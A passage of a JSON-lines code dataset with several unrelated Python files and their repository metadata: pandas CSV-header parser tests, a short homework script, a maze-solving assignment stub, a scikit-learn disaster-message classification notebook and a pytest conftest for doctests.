\"\"\"\\\nC0,,C_l0_g0,C_l0_g1,C_l0_g2\n\nC1,,C_l1_g0,C_l1_g1,C_l1_g2\nC2,,C_l2_g0,C_l2_g1,C_l2_g2\nC3,,C_l3_g0,C_l3_g1,C_l3_g2\nR0,R1,,,\nR_l0_g0,R_l1_g0,R0C0,R0C1,R0C2\nR_l0_g1,R_l1_g1,R1C0,R1C1,R1C2\nR_l0_g2,R_l1_g2,R2C0,R2C1,R2C2\nR_l0_g3,R_l1_g3,R3C0,R3C1,R3C2\nR_l0_g4,R_l1_g4,R4C0,R4C1,R4C2\n\"\"\"\n    parser = all_parsers\n\n    with pytest.raises(ValueError, match=msg):\n        parser.read_csv(StringIO(data), header=[0, 1, 2, 3], **kwargs)\n\n\n_TestTuple = namedtuple(\"_TestTuple\", [\"first\", \"second\"])\n\n\n@skip_pyarrow\n@pytest.mark.parametrize(\n    \"kwargs\",\n    [\n        {\"header\": [0, 1]},\n        {\n            \"skiprows\": 3,\n            \"names\": [\n                (\"a\", \"q\"),\n                (\"a\", \"r\"),\n                (\"a\", \"s\"),\n                (\"b\", \"t\"),\n                (\"c\", \"u\"),\n                (\"c\", \"v\"),\n            ],\n        },\n        {\n            \"skiprows\": 3,\n            \"names\": [\n                _TestTuple(\"a\", \"q\"),\n                _TestTuple(\"a\", \"r\"),\n                _TestTuple(\"a\", \"s\"),\n                _TestTuple(\"b\", \"t\"),\n                _TestTuple(\"c\", \"u\"),\n                _TestTuple(\"c\", \"v\"),\n            ],\n        },\n    ],\n)\ndef test_header_multi_index_common_format1(all_parsers, kwargs):\n    parser = all_parsers\n    expected = DataFrame(\n        [[1, 2, 3, 4, 5, 6], [7, 8, 9, 10, 11, 12]],\n        index=[\"one\", \"two\"],\n        columns=MultiIndex.from_tuples(\n            [(\"a\", \"q\"), (\"a\", \"r\"), (\"a\", \"s\"), (\"b\", \"t\"), (\"c\", \"u\"), (\"c\", \"v\")]\n        ),\n    )\n    data = \"\"\",a,a,a,b,c,c\n,q,r,s,t,u,v\n,,,,,,\none,1,2,3,4,5,6\ntwo,7,8,9,10,11,12\"\"\"\n\n    result = parser.read_csv(StringIO(data), index_col=0, **kwargs)\n    tm.assert_frame_equal(result, expected)\n\n\n@skip_pyarrow\n@pytest.mark.parametrize(\n    \"kwargs\",\n    [\n        {\"header\": [0, 1]},\n        {\n            \"skiprows\": 2,\n            \"names\": [\n                (\"a\", \"q\"),\n                (\"a\", \"r\"),\n                (\"a\", \"s\"),\n                (\"b\", \"t\"),\n                (\"c\", \"u\"),\n                (\"c\", \"v\"),\n            ],\n        },\n        {\n            \"skiprows\": 2,\n            \"names\": [\n                _TestTuple(\"a\", \"q\"),\n                _TestTuple(\"a\", \"r\"),\n                _TestTuple(\"a\", \"s\"),\n                _TestTuple(\"b\", \"t\"),\n                _TestTuple(\"c\", \"u\"),\n                _TestTuple(\"c\", \"v\"),\n            ],\n        },\n    ],\n)\ndef test_header_multi_index_common_format2(all_parsers, kwargs):\n    parser = all_parsers\n    expected = DataFrame(\n        [[1, 2, 3, 4, 5, 6], [7, 8, 9, 10, 11, 12]],\n        index=[\"one\", \"two\"],\n        columns=MultiIndex.from_tuples(\n            [(\"a\", \"q\"), (\"a\", \"r\"), (\"a\", \"s\"), (\"b\", \"t\"), (\"c\", \"u\"), (\"c\", \"v\")]\n        ),\n    )\n    data = \"\"\",a,a,a,b,c,c\n,q,r,s,t,u,v\none,1,2,3,4,5,6\ntwo,7,8,9,10,11,12\"\"\"\n\n    result = parser.read_csv(StringIO(data), index_col=0, **kwargs)\n    tm.assert_frame_equal(result, expected)\n\n\n@skip_pyarrow\n@pytest.mark.parametrize(\n    \"kwargs\",\n    [\n        {\"header\": [0, 1]},\n        {\n            \"skiprows\": 2,\n            \"names\": [\n                (\"a\", \"q\"),\n                (\"a\", \"r\"),\n                (\"a\", \"s\"),\n                (\"b\", \"t\"),\n                (\"c\", \"u\"),\n                (\"c\", \"v\"),\n            ],\n        },\n        {\n            \"skiprows\": 2,\n            \"names\": [\n                _TestTuple(\"a\", \"q\"),\n                _TestTuple(\"a\", \"r\"),\n                _TestTuple(\"a\", \"s\"),\n                _TestTuple(\"b\", \"t\"),\n                _TestTuple(\"c\", \"u\"),\n                _TestTuple(\"c\", \"v\"),\n            ],\n        },\n    ],\n)\ndef test_header_multi_index_common_format3(all_parsers, kwargs):\n    parser = all_parsers\n    expected = DataFrame(\n        [[1, 2, 3, 4, 5, 6], [7, 8, 9, 10, 11, 12]],\n        index=[\"one\", \"two\"],\n        columns=MultiIndex.from_tuples(\n            [(\"a\", \"q\"), (\"a\", \"r\"), (\"a\", \"s\"), (\"b\", \"t\"), (\"c\", \"u\"), (\"c\", \"v\")]\n        ),\n    )\n    expected = expected.reset_index(drop=True)\n    data = \"\"\"a,a,a,b,c,c\nq,r,s,t,u,v\n1,2,3,4,5,6\n7,8,9,10,11,12\"\"\"\n\n    result = parser.read_csv(StringIO(data), index_col=None, **kwargs)\n    tm.assert_frame_equal(result, expected)\n\n\n@skip_pyarrow\ndef test_header_multi_index_common_format_malformed1(all_parsers):\n    parser = all_parsers\n    expected = DataFrame(\n        np.array([[2, 3, 4, 5, 6], [8, 9, 10, 11, 12]], dtype=\"int64\"),\n        index=Index([1, 7]),\n        columns=MultiIndex(\n            levels=[[\"a\", \"b\", \"c\"], [\"r\", \"s\", \"t\", \"u\", \"v\"]],\n            codes=[[0, 0, 1, 2, 2], [0, 1, 2, 3, 4]],\n            names=[\"a\", \"q\"],\n        ),\n    )\n    data = \"\"\"a,a,a,b,c,c\nq,r,s,t,u,v\n1,2,3,4,5,6\n7,8,9,10,11,12\"\"\"\n\n    result = parser.read_csv(StringIO(data), header=[0, 1], index_col=0)\n    tm.assert_frame_equal(expected, result)\n\n\n@skip_pyarrow\ndef test_header_multi_index_common_format_malformed2(all_parsers):\n    parser = all_parsers\n    expected = DataFrame(\n        np.array([[2, 3, 4, 5, 6], [8, 9, 10, 11, 12]], dtype=\"int64\"),\n        index=Index([1, 7]),\n        columns=MultiIndex(\n            levels=[[\"a\", \"b\", \"c\"], [\"r\", \"s\", \"t\", \"u\", \"v\"]],\n            codes=[[0, 0, 1, 2, 2], [0, 1, 2, 3, 4]],\n            names=[None, \"q\"],\n        ),\n    )\n\n    data = \"\"\",a,a,b,c,c\nq,r,s,t,u,v\n1,2,3,4,5,6\n7,8,9,10,11,12\"\"\"\n\n    result = parser.read_csv(StringIO(data), header=[0, 1], index_col=0)\n    tm.assert_frame_equal(expected, result)\n\n\n@skip_pyarrow\ndef test_header_multi_index_common_format_malformed3(all_parsers):\n    parser = all_parsers\n    expected = DataFrame(\n        np.array([[3, 4, 5, 6], [9, 10, 11, 12]], dtype=\"int64\"),\n        index=MultiIndex(levels=[[1, 7], [2, 8]], codes=[[0, 1], [0, 1]]),\n        columns=MultiIndex(\n            levels=[[\"a\", \"b\", \"c\"], [\"s\", \"t\", \"u\", \"v\"]],\n            codes=[[0, 1, 2, 2], [0, 1, 2, 3]],\n            names=[None, \"q\"],\n        ),\n    )\n    data = \"\"\",a,a,b,c,c\nq,r,s,t,u,v\n1,2,3,4,5,6\n7,8,9,10,11,12\"\"\"\n\n    result = parser.read_csv(StringIO(data), header=[0, 1], index_col=[0, 1])\n    tm.assert_frame_equal(expected, result)\n\n\n@skip_pyarrow\ndef test_header_multi_index_blank_line(all_parsers):\n    # GH 40442\n    parser = all_parsers\n    data = [[None, None], [1, 2], [3, 4]]\n    columns = MultiIndex.from_tuples([(\"a\", \"A\"), (\"b\", \"B\")])\n    expected = DataFrame(data, columns=columns)\n    data = \"a,b\\nA,B\\n,\\n1,2\\n3,4\"\n    result = parser.read_csv(StringIO(data), header=[0, 1])\n    tm.assert_frame_equal(expected, result)\n\n\n@skip_pyarrow\n@pytest.mark.parametrize(\n    \"data,header\", [(\"1,2,3\\n4,5,6\", None), (\"foo,bar,baz\\n1,2,3\\n4,5,6\", 0)]\n)\ndef test_header_names_backward_compat(all_parsers, data, header):\n    # see gh-2539\n    parser = all_parsers\n    expected = parser.read_csv(StringIO(\"1,2,3\\n4,5,6\"), names=[\"a\", \"b\", \"c\"])\n\n    result = parser.read_csv(StringIO(data), names=[\"a\", \"b\", \"c\"], header=header)\n    tm.assert_frame_equal(result, expected)\n\n\n@skip_pyarrow\n@pytest.mark.parametrize(\"kwargs\", [{}, {\"index_col\": False}])\ndef test_read_only_header_no_rows(all_parsers, kwargs):\n    # See gh-7773\n    parser = all_parsers\n    expected = DataFrame(columns=[\"a\", \"b\", \"c\"])\n\n    result = parser.read_csv(StringIO(\"a,b,c\"), **kwargs)\n    tm.assert_frame_equal(result, expected)\n\n\n@pytest.mark.parametrize(\n    \"kwargs,names\",\n    [\n        ({}, [0, 1, 2, 3, 4]),\n        ({\"prefix\": \"X\"}, [\"X0\", \"X1\", \"X2\", \"X3\", \"X4\"]),\n        (\n            {\"names\": [\"foo\", \"bar\", \"baz\", \"quux\", \"panda\"]},\n            [\"foo\", \"bar\", \"baz\", \"quux\", \"panda\"],\n        ),\n    ],\n)\ndef test_no_header(all_parsers, kwargs, names):\n    parser = all_parsers\n    data = \"\"\"1,2,3,4,5\n6,7,8,9,10\n11,12,13,14,15\n\"\"\"\n    expected = DataFrame(\n        [[1, 2, 3, 4, 5], [6, 7, 8, 9, 10], [11, 12, 13, 14, 15]], columns=names\n    )\n    result = parser.read_csv(StringIO(data), header=None, **kwargs)\n    tm.assert_frame_equal(result, expected)\n\n\n@pytest.mark.parametrize(\"header\", [[\"a\", \"b\"], \"string_header\"])\ndef test_non_int_header(all_parsers, header):\n    # see gh-16338\n    msg = \"header must be integer or list of integers\"\n    data = \"\"\"1,2\\n3,4\"\"\"\n    parser = all_parsers\n\n    with pytest.raises(ValueError, match=msg):\n        parser.read_csv(StringIO(data), header=header)\n\n\n@skip_pyarrow\ndef test_singleton_header(all_parsers):\n    # see gh-7757\n    data = \"\"\"a,b,c\\n0,1,2\\n1,2,3\"\"\"\n    parser = all_parsers\n\n    expected = DataFrame({\"a\": [0, 1], \"b\": [1, 2], \"c\": [2, 3]})\n    result = parser.read_csv(StringIO(data), header=[0])\n    tm.assert_frame_equal(result, expected)\n\n\n@skip_pyarrow\n@pytest.mark.parametrize(\n    \"data,expected\",\n    [\n        (\n            \"A,A,A,B\\none,one,one,two\\n0,40,34,0.1\",\n            DataFrame(\n                [[0, 40, 34, 0.1]],\n                columns=MultiIndex.from_tuples(\n                    [(\"A\", \"one\"), (\"A\", \"one.1\"), (\"A\", \"one.2\"), (\"B\", \"two\")]\n                ),\n            ),\n        ),\n        (\n            \"A,A,A,B\\none,one,one.1,two\\n0,40,34,0.1\",\n            DataFrame(\n                [[0, 40, 34, 0.1]],\n                columns=MultiIndex.from_tuples(\n                    [(\"A\", \"one\"), (\"A\", \"one.1\"), (\"A\", \"one.1.1\"), (\"B\", \"two\")]\n                ),\n            ),\n        ),\n        (\n            \"A,A,A,B,B\\none,one,one.1,two,two\\n0,40,34,0.1,0.1\",\n            DataFrame(\n                [[0, 40, 34, 0.1, 0.1]],\n                columns=MultiIndex.from_tuples(\n                    [\n                        (\"A\", \"one\"),\n                        (\"A\", \"one.1\"),\n                        (\"A\", \"one.1.1\"),\n                        (\"B\", \"two\"),\n                        (\"B\", \"two.1\"),\n                    ]\n                ),\n            ),\n        ),\n    ],\n)\ndef test_mangles_multi_index(all_parsers, data, expected):\n    # see gh-18062\n    parser = all_parsers\n\n    result = parser.read_csv(StringIO(data), header=[0, 1])\n    tm.assert_frame_equal(result, expected)\n\n\n@skip_pyarrow\n@pytest.mark.parametrize(\"index_col\", [None, [0]])\n@pytest.mark.parametrize(\n    \"columns\", [None, ([\"\", \"Unnamed\"]), ([\"Unnamed\", \"\"]), ([\"Unnamed\", \"NotUnnamed\"])]\n)\ndef test_multi_index_unnamed(all_parsers, index_col, columns):\n    # see gh-23687\n    #\n    # When specifying a multi-index header, make sure that\n    # we don't error just because one of the rows in our header\n    # has ALL column names containing the string \"Unnamed\". The\n    # correct condition to check is whether the row contains\n    # ALL columns that did not have names (and instead were given\n    # placeholder ones).\n    parser = all_parsers\n    header = [0, 1]\n\n    if index_col is None:\n        data = \",\".join(columns or [\"\", \"\"]) + \"\\n0,1\\n2,3\\n4,5\\n\"\n    else:\n        data = \",\".join([\"\"] + (columns or [\"\", \"\"])) + \"\\n,0,1\\n0,2,3\\n1,4,5\\n\"\n\n    if columns is None:\n        msg = (\n            r\"Passed header=\\[0,1\\] are too \"\n            r\"many rows for this multi_index of columns\"\n        )\n        with pytest.raises(ParserError, match=msg):\n            parser.read_csv(StringIO(data), header=header, index_col=index_col)\n    else:\n        result = parser.read_csv(StringIO(data), header=header, index_col=index_col)\n        exp_columns = []\n\n        for i, col in enumerate(columns):\n            if not col:  # Unnamed.\n                col = f\"Unnamed: {i if index_col is None else i + 1}_level_0\"\n\n            exp_columns.append(col)\n\n        columns = MultiIndex.from_tuples(zip(exp_columns, [\"0\", \"1\"]))\n        expected = DataFrame([[2, 3], [4, 5]], columns=columns)\n        tm.assert_frame_equal(result, expected)\n\n\n@skip_pyarrow\ndef test_read_csv_multiindex_columns(all_parsers):\n    # GH#6051\n    parser = all_parsers\n\n    s1 = \"Male, Male, Male, Female, Female\\nR, R, L, R, R\\n.86, .67, .88, .78, .81\"\n    s2 = (\n        \"Male, Male, Male, Female, Female\\n\"\n        \"R, R, L, R, R\\n\"\n        \".86, .67, .88, .78, .81\\n\"\n        \".86, .67, .88, .78, .82\"\n    )\n\n    mi = MultiIndex.from_tuples(\n        [\n            (\"Male\", \"R\"),\n            (\" Male\", \" R\"),\n            (\" Male\", \" L\"),\n            (\" Female\", \" R\"),\n            (\" Female\", \" R.1\"),\n        ]\n    )\n    expected = DataFrame(\n        [[0.86, 0.67, 0.88, 0.78, 0.81], [0.86, 0.67, 0.88, 0.78, 0.82]], columns=mi\n    )\n\n    df1 = parser.read_csv(StringIO(s1), header=[0, 1])\n    tm.assert_frame_equal(df1, expected.iloc[:1])\n    df2 = parser.read_csv(StringIO(s2), header=[0, 1])\n    tm.assert_frame_equal(df2, expected)\n\n\n@skip_pyarrow\ndef test_read_csv_multi_header_length_check(all_parsers):\n    # GH#43102\n    parser = all_parsers\n\n    case = \"\"\"row11,row12,row13\nrow21,row22, row23\nrow31,row32\n\"\"\"\n\n    with pytest.raises(\n        ParserError, match=\"Header rows must have an equal number of columns.\"\n    ):\n        parser.read_csv(StringIO(case), header=[0, 2])\n", "meta": {"hexsha": "d4b87070720d1999afa25158a5624bec2d226ed6", "size": 17008, "ext": "py", "lang": "Python", "max_stars_repo_path": "pandas/tests/io/parser/test_header.py", "max_stars_repo_name": "RakhithJK/pandas", "max_stars_repo_head_hexsha": "0eeda645212c240d6cbdef8e3ba4834c3763553b", "max_stars_repo_licenses": ["PSF-2.0", "Apache-2.0", "BSD-3-Clause-No-Nuclear-License-2014", "MIT", "ECL-2.0", "BSD-3-Clause"], "max_stars_count": 28899, "max_stars_repo_stars_event_min_datetime": "2016-10-13T03:32:12.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-31T21:39:05.000Z", "max_issues_repo_path": "pandas/tests/io/parser/test_header.py", "max_issues_repo_name": "RakhithJK/pandas", "max_issues_repo_head_hexsha": "0eeda645212c240d6cbdef8e3ba4834c3763553b", "max_issues_repo_licenses": ["PSF-2.0", "Apache-2.0", "BSD-3-Clause-No-Nuclear-License-2014", "MIT", "ECL-2.0", "BSD-3-Clause"], "max_issues_count": 31004, "max_issues_repo_issues_event_min_datetime": "2016-10-12T23:22:27.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-31T23:17:38.000Z", "max_forks_repo_path": "pandas/tests/io/parser/test_header.py", "max_forks_repo_name": "RakhithJK/pandas", "max_forks_repo_head_hexsha": "0eeda645212c240d6cbdef8e3ba4834c3763553b", "max_forks_repo_licenses": ["PSF-2.0", "Apache-2.0", "BSD-3-Clause-No-Nuclear-License-2014", "MIT", "ECL-2.0", "BSD-3-Clause"], "max_forks_count": 15149, "max_forks_repo_forks_event_min_datetime": "2016-10-13T03:21:31.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-31T18:46:47.000Z", "avg_line_length": 27.3001605136, "max_line_length": 88, "alphanum_fraction": 0.5301034807, "include": true, "reason": "import numpy", "num_tokens": 5423, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.31742627850202554, "lm_q2_score": 0.16885695632426873, "lm_q1q2_score": 0.053599635245191686}}
{"text": "import numpy as np                      #the numpy library\r\nimport matplotlib.pyplot as plt         #Matplot's pyplot\r\n\r\nimport sys                              #gives access to a c-like sys library\r\nimport os                               #gives access to operating system\r\n\r\n\r\nprint(sys.argv)                     #prints any command line arguments, incl program name\r\nprint(os.getcwd())                  #prnits current work directory\r\n", "meta": {"hexsha": "52f9b328e5cb0f1693b996e58b7bc7b57a11025e", "size": 438, "ext": "py", "lang": "Python", "max_stars_repo_path": "useful_modules.py", "max_stars_repo_name": "hleal023/ASTR-119-HW-1", "max_stars_repo_head_hexsha": "8499edec5d2381855c92d20e7c61c988119b83b8", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "useful_modules.py", "max_issues_repo_name": "hleal023/ASTR-119-HW-1", "max_issues_repo_head_hexsha": "8499edec5d2381855c92d20e7c61c988119b83b8", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2018-10-18T07:13:28.000Z", "max_issues_repo_issues_event_max_datetime": "2018-10-18T07:13:28.000Z", "max_forks_repo_path": "useful_modules.py", "max_forks_repo_name": "hleal023/ASTR-119-Session3-full", "max_forks_repo_head_hexsha": "8499edec5d2381855c92d20e7c61c988119b83b8", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2018-10-18T01:37:44.000Z", "max_forks_repo_forks_event_max_datetime": "2018-10-18T01:37:44.000Z", "avg_line_length": 43.8, "max_line_length": 90, "alphanum_fraction": 0.5479452055, "include": true, "reason": "import numpy", "num_tokens": 76, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.39233683016710835, "lm_q2_score": 0.13660840408654296, "lm_q1q2_score": 0.05359650823350171}}
{"text": "import cv2\nimport numpy as np\n\n\ndef find_way_from_maze(image: np.ndarray) -> tuple:\n    \"\"\"\n    \u041d\u0430\u0439\u0442\u0438 \u043f\u0443\u0442\u044c \u0447\u0435\u0440\u0435\u0437 \u043b\u0430\u0431\u0438\u0440\u0438\u043d\u0442.\n\n    :param image: \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u043b\u0430\u0431\u0438\u0440\u0438\u043d\u0442\u0430\n    :return: \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0442\u044b \u043f\u0443\u0442\u0438 \u0438\u0437 \u043b\u0430\u0431\u0438\u0440\u0438\u043d\u0442\u0430 \u0432 \u0432\u0438\u0434\u0435 (x, y), \u0433\u0434\u0435 x \u0438 y - \u044d\u0442\u043e \u043c\u0430\u0441\u0441\u0438\u0432\u044b \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0442\n    \"\"\"\n    coords = None\n    # \u0412\u0430\u0448 \u043a\u043e\u0434 \u0442\u0443\u0442\n    pass\n    # \u0412\u0430\u0448 \u043a\u043e\u0434 \u0442\u0443\u0442\n\n    return coords\n", "meta": {"hexsha": "e05a2d4b13c847dce34bf741d868fdefd78ed504", "size": 345, "ext": "py", "lang": "Python", "max_stars_repo_path": "week_01_images/homework/task_1.py", "max_stars_repo_name": "rualvi/cv_mipt_minor", "max_stars_repo_head_hexsha": "de9a5d6d47f902011d73cf8cb26a25abcb98f855", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 5, "max_stars_repo_stars_event_min_datetime": "2020-09-26T15:54:02.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-14T16:48:57.000Z", "max_issues_repo_path": "week_01_images/homework/task_1.py", "max_issues_repo_name": "rualvi/cv_mipt_minor", "max_issues_repo_head_hexsha": "de9a5d6d47f902011d73cf8cb26a25abcb98f855", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "week_01_images/homework/task_1.py", "max_forks_repo_name": "rualvi/cv_mipt_minor", "max_forks_repo_head_hexsha": "de9a5d6d47f902011d73cf8cb26a25abcb98f855", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 14, "max_forks_repo_forks_event_min_datetime": "2020-09-26T15:55:26.000Z", "max_forks_repo_forks_event_max_datetime": "2022-02-14T16:42:46.000Z", "avg_line_length": 19.1666666667, "max_line_length": 90, "alphanum_fraction": 0.6463768116, "include": true, "reason": "import numpy", "num_tokens": 121, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4493926344647597, "lm_q2_score": 0.11920292984474948, "lm_q1q2_score": 0.05356891867884989}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # ML Pipeline Preparation\n# Follow the instructions below to help you create your ML pipeline.\n# ### 1. Import libraries and load data from database.\n# - Import Python libraries\n# - Load dataset from database with [`read_sql_table`](https://pandas.pydata.org/pandas-docs/stable/generated/pandas.read_sql_table.html)\n# - Define feature and target variables X and Y\n\n# In[1]:\n\n\n# import libraries\nimport pandas as pd\nimport numpy as np\nfrom sqlalchemy import create_engine\nfrom nltk.tokenize import word_tokenize\nfrom nltk.stem import WordNetLemmatizer\nfrom sklearn.ensemble import RandomForestClassifier, AdaBoostClassifier\nfrom sklearn.multioutput import MultiOutputClassifier\nfrom sklearn.feature_extraction.text import CountVectorizer, TfidfTransformer\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import classification_report\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.decomposition import TruncatedSVD\nimport pickle\n\n\n# In[2]:\n\n\nimport nltk\nnltk.download(['punkt', 'wordnet'])\n\n\n# In[3]:\n\n\n# load data from database\nengine = create_engine('sqlite:///InsertDatabaseName.db')\ndf = pd.read_sql_table(\"messages_disaster\", con=engine)\n\n\n# In[4]:\n\n\ndf.head()\n\n\n# In[5]:\n\n\nX = df[\"message\"]\nY = df.drop(['message', 'genre', 'id', 'original'], axis = 1)\n\n\n# ### 2. Write a tokenization function to process your text data\n\n# In[6]:\n\n\ndef tokenize(text):\n    tokens = word_tokenize(text)\n    lemmatizer = WordNetLemmatizer()\n    clean_tokens = []\n    for tok in tokens:\n        clean_tok = lemmatizer.lemmatize(tok).lower().strip()\n        clean_tokens.append(clean_tok)\n    return clean_tokens\n\n\n# ### 3. Build a machine learning pipeline\n# This machine pipeline should take in the `message` column as input and output classification results on the other 36 categories in the dataset. You may find the [MultiOutputClassifier](http://scikit-learn.org/stable/modules/generated/sklearn.multioutput.MultiOutputClassifier.html) helpful for predicting multiple target variables.\n\n# In[7]:\n\n\npipeline = Pipeline([\n        ('vect', CountVectorizer(tokenizer=tokenize)),\n        ('tfidf', TfidfTransformer()),\n        ('clf', MultiOutputClassifier(RandomForestClassifier()))\n    ])\n\n\n# In[8]:\n\n\npipeline.get_params()\n\n\n# ### 4. Train pipeline\n# - Split data into train and test sets\n# - Train pipeline\n\n# In[9]:\n\n\nX_train, X_test, y_train, y_test = train_test_split(X, Y,test_size = 0.2, random_state = 45)\n# train classifier\npipeline.fit(X_train, y_train)\n\n\n# ### 5. Test your model\n# Report the f1 score, precision and recall for each output category of the dataset. You can do this by iterating through the columns and calling sklearn's `classification_report` on each.\n\n# In[10]:\n\n\ndef perf_report(model, X_test, y_test):\n    '''\n    Function to generate classification report on the model\n    Input: Model, test set ie X_test & y_test\n    Output: Prints the Classification report\n    '''\n    y_pred = model.predict(X_test)\n    for i, col in enumerate(y_test):\n        print(col)\n        print(classification_report(y_test[col], y_pred[:, i]))\n\n\n# In[11]:\n\n\nperf_report(pipeline, X_test, y_test)\n\n\n# ### 6. Improve your model\n# Use grid search to find better parameters. \n\n# In[12]:\n\n\nparameters =  {'tfidf__use_idf': (True, False), \n              'clf__estimator__n_estimators': [50, 100], \n              'clf__estimator__min_samples_split': [2, 4]} \n\ncv = GridSearchCV(pipeline, param_grid=parameters)\n\n\n# In[13]:\n\n\ncv\n\n\n# ### 7. Test your model\n# Show the accuracy, precision, and recall of the tuned model.  \n# \n# Since this project focuses on code quality, process, and  pipelines, there is no minimum performance metric needed to pass. However, make sure to fine tune your models for accuracy, precision and recall to make your project stand out - especially for your portfolio!\n\n# In[14]:\n\n\ncv.fit(X_train, y_train)\nperf_report(cv, X_test, y_test)\n\n\n# ### 8. Try improving your model further. Here are a few ideas:\n# * try other machine learning algorithms\n# * add other features besides the TF-IDF\n\n# In[15]:\n\n\n#Improve  the pipeline\npipeline2 = Pipeline([\n    ('vect', CountVectorizer()),\n    ('best', TruncatedSVD()),\n    ('tfidf', TfidfTransformer()),\n    ('clf', MultiOutputClassifier(AdaBoostClassifier()))\n])\n\n\n# In[16]:\n\n\npipeline2.get_params()\n\n\n# In[17]:\n\n\n#Train & predict\npipeline2.fit(X_train, y_train)\nperf_report(pipeline2, X_test, y_test)\n\n\n# In[18]:\n\n\n\n#Param tunning \nparameters2 = { #'vect__ngram_range': ((1, 1), (1, 2)), \n              #'vect__max_df': (0.5, 1.0), \n              #'vect__max_features': (None, 5000), \n              'tfidf__use_idf': (True, False), \n              'clf__estimator__n_estimators': [50, 100],\n              'clf__estimator__learning_rate': [1,2] }\n\n\n# In[19]:\n\n\ncv2 = GridSearchCV(pipeline2, param_grid=parameters2)\ncv2\n\n\n# In[20]:\n\n\ncv2.fit(X_train, y_train)\n\n\n# In[21]:\n\n\nperf_report(cv2, X_test, y_test)\n\n\n# ### 9. Export your model as a pickle file\n\n# In[22]:\n\n\nwith open('model.pkl', 'wb') as f:\n    pickle.dump(cv2, f)\n\n\n# ### 10. Use this notebook to complete `train.py`\n# Use the template file attached in the Resources folder to write a script that runs the steps above to create a database and export a model based on a new dataset specified by the user.\n\n# In[ ]:\n\n\n\n\n", "meta": {"hexsha": "a1fd8ff421153fbe0025510fa7a61d8bb3b8d705", "size": 5354, "ext": "py", "lang": "Python", "max_stars_repo_path": "ML Pipeline Preparation.py", "max_stars_repo_name": "Bhanu-C/Disaster-pipline-udacity", "max_stars_repo_head_hexsha": "ea6ab42776fddd5edf03b9620a571f41901ac7a9", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "ML Pipeline Preparation.py", "max_issues_repo_name": "Bhanu-C/Disaster-pipline-udacity", "max_issues_repo_head_hexsha": "ea6ab42776fddd5edf03b9620a571f41901ac7a9", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "ML Pipeline Preparation.py", "max_forks_repo_name": "Bhanu-C/Disaster-pipline-udacity", "max_forks_repo_head_hexsha": "ea6ab42776fddd5edf03b9620a571f41901ac7a9", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 22.4016736402, "max_line_length": 333, "alphanum_fraction": 0.70526709, "include": true, "reason": "import numpy", "num_tokens": 1345, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4493926344647597, "lm_q2_score": 0.11920291419948609, "lm_q1q2_score": 0.05356891164798376}}
{"text": "\"\"\"Set up the environment for doctests\n\nThis file is automatically evaluated by py.test. It ensures that we can write\ndoctests without importing anything. The entire content for qnet, as well as\nnumpy and sympy will be available in all doctests.\n\"\"\"\nimport numpy\nimport sympy\nimport qnet\nfrom collections import OrderedDict\n\n# noinspection PyPackageRequirements\nimport pytest\n\n\n@pytest.fixture(autouse=True)\ndef set_doctest_env(doctest_namespace):\n    doctest_namespace['numpy'] = numpy\n    doctest_namespace['sympy'] = sympy\n    doctest_namespace['OrderedDict'] = OrderedDict\n    for name in qnet.__all__:\n        doctest_namespace[name] = getattr(qnet, name)\n", "meta": {"hexsha": "7afc7babb80069b3e6a2060746c25a3ee26452eb", "size": 661, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/conftest.py", "max_stars_repo_name": "amitkumarj441/QNET", "max_stars_repo_head_hexsha": "4d4818b25b7e8e4497d017b7c21e622945326c6a", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 54, "max_stars_repo_stars_event_min_datetime": "2015-02-12T15:13:41.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-04T06:53:14.000Z", "max_issues_repo_path": "src/conftest.py", "max_issues_repo_name": "amitkumarj441/QNET", "max_issues_repo_head_hexsha": "4d4818b25b7e8e4497d017b7c21e622945326c6a", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 90, "max_issues_repo_issues_event_min_datetime": "2015-03-24T23:39:32.000Z", "max_issues_repo_issues_event_max_datetime": "2021-09-25T11:45:43.000Z", "max_forks_repo_path": "src/conftest.py", "max_forks_repo_name": "amitkumarj441/QNET", "max_forks_repo_head_hexsha": "4d4818b25b7e8e4497d017b7c21e622945326c6a", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 21, "max_forks_repo_forks_event_min_datetime": "2017-07-05T18:03:17.000Z", "max_forks_repo_forks_event_max_datetime": "2021-11-19T17:51:04.000Z", "avg_line_length": 